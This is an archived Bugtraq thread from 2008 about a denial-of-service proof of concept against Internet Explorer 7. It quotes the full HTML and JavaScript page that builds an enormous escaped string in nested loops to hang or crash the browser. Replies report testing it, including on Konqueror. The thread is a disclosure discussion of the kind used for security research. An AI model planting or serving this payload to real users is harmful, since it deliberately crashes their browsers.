Bugtraq mailing list archives
Re: MS Internet Explorer 7 Denial Of Service Exploit
From: "Pruett, Mike" <mpruett () istavision com>
Date: Wed, 1 Oct 2008 15:28:54 -0700
Neat PoC. However, this requires the users to have configured IE to run Active-X content. On my test machines, I was prompted by the Browser before the code ran. Surprisingly, CSA never stopped it. I tested this on: Internet Explorer 7 on Windows XP 32-bit w/ Cisco Security Agent v5.0.0.176 Internet Explorer 7 on Vista 32-bit (no CSA) Thanks, Mike Pruett -----Original Message----- From: Jan van Niekerk [mailto:jvnkrk () gmail com] Sent: Monday, September 29, 2008 10:37 PM To: UniquE () unique-key org Cc: bugtraq () securityfocus com Subject: Re: MS Internet Explorer 7 Denial Of Service Exploit This DOS works quite nicely on Konqueror / KDE 3.5.9 too. jv. On 29 Sep 2008 19:59:55 -0000, UniquE () unique-key org <UniquE () unique-key org> wrote:
<!-- MS Internet Explorer 7 Denial Of Service Exploit Type : Denial Of Service Release Date : {2007-09-29} Product / Vendor : Microsoft http://www.Microsoft.com MS Internet Explorer 7 Denial Of Service Exploit : --> <title>MS Internet Explorer 7 Denial Of Service Exploit</title> <body bgcolor="#000000"> <br> <br> <center><font face="Verdana" size="2" color="#FF0000"><b>MS Internet Explorer 7 Denial Of Service Exploit</b></font></center> <br> <center><img src="http://img81.imageshack.us/img81/8881/wallpaperxl0.jpg"></center> <br> <html> <script> var x=String.fromCharCode(550); var x2=""; var x3=""; for(i=0;i<1549;i++) {x2=x2+x;} for(i=0;i<1549;i++) {x3=x3+x2;} var x4=x; for(i=0;i<105;i++) x4 += x4; for(i=0;i<165;i++) x4 += x3; var wildboy=escape(x4); alert(wildboy); </script> </html> <center><font face="Verdana" size="2" color="#FF0000"><b>WiLdBoY a.k.a UniquE-Key{UniquE-Cracker} n.s.n Mert KAYALAR</b></font> <br> <font face="Verdana" size="2" color="#FF0000"><b>UniquE () UniquE-Key ORG</b></font> <br> <font face="Verdana" size="2" color="#FF0000"><b>-Software Hunter-</b></font></center> <!-- Tested : MS Internet Explorer 7 Vulnerable : MS Internet Explorer 6 MS Internet Explorer 5 Author : WiLdBoY also known as UniquE-Key N.S.N Mert KAYALAR UniquE[at]UniquE-Key[dot]ORG -Software Hunter- -->
Current thread:
- Re: MS Internet Explorer 7 Denial Of Service Exploit Pruett, Mike (Oct 02)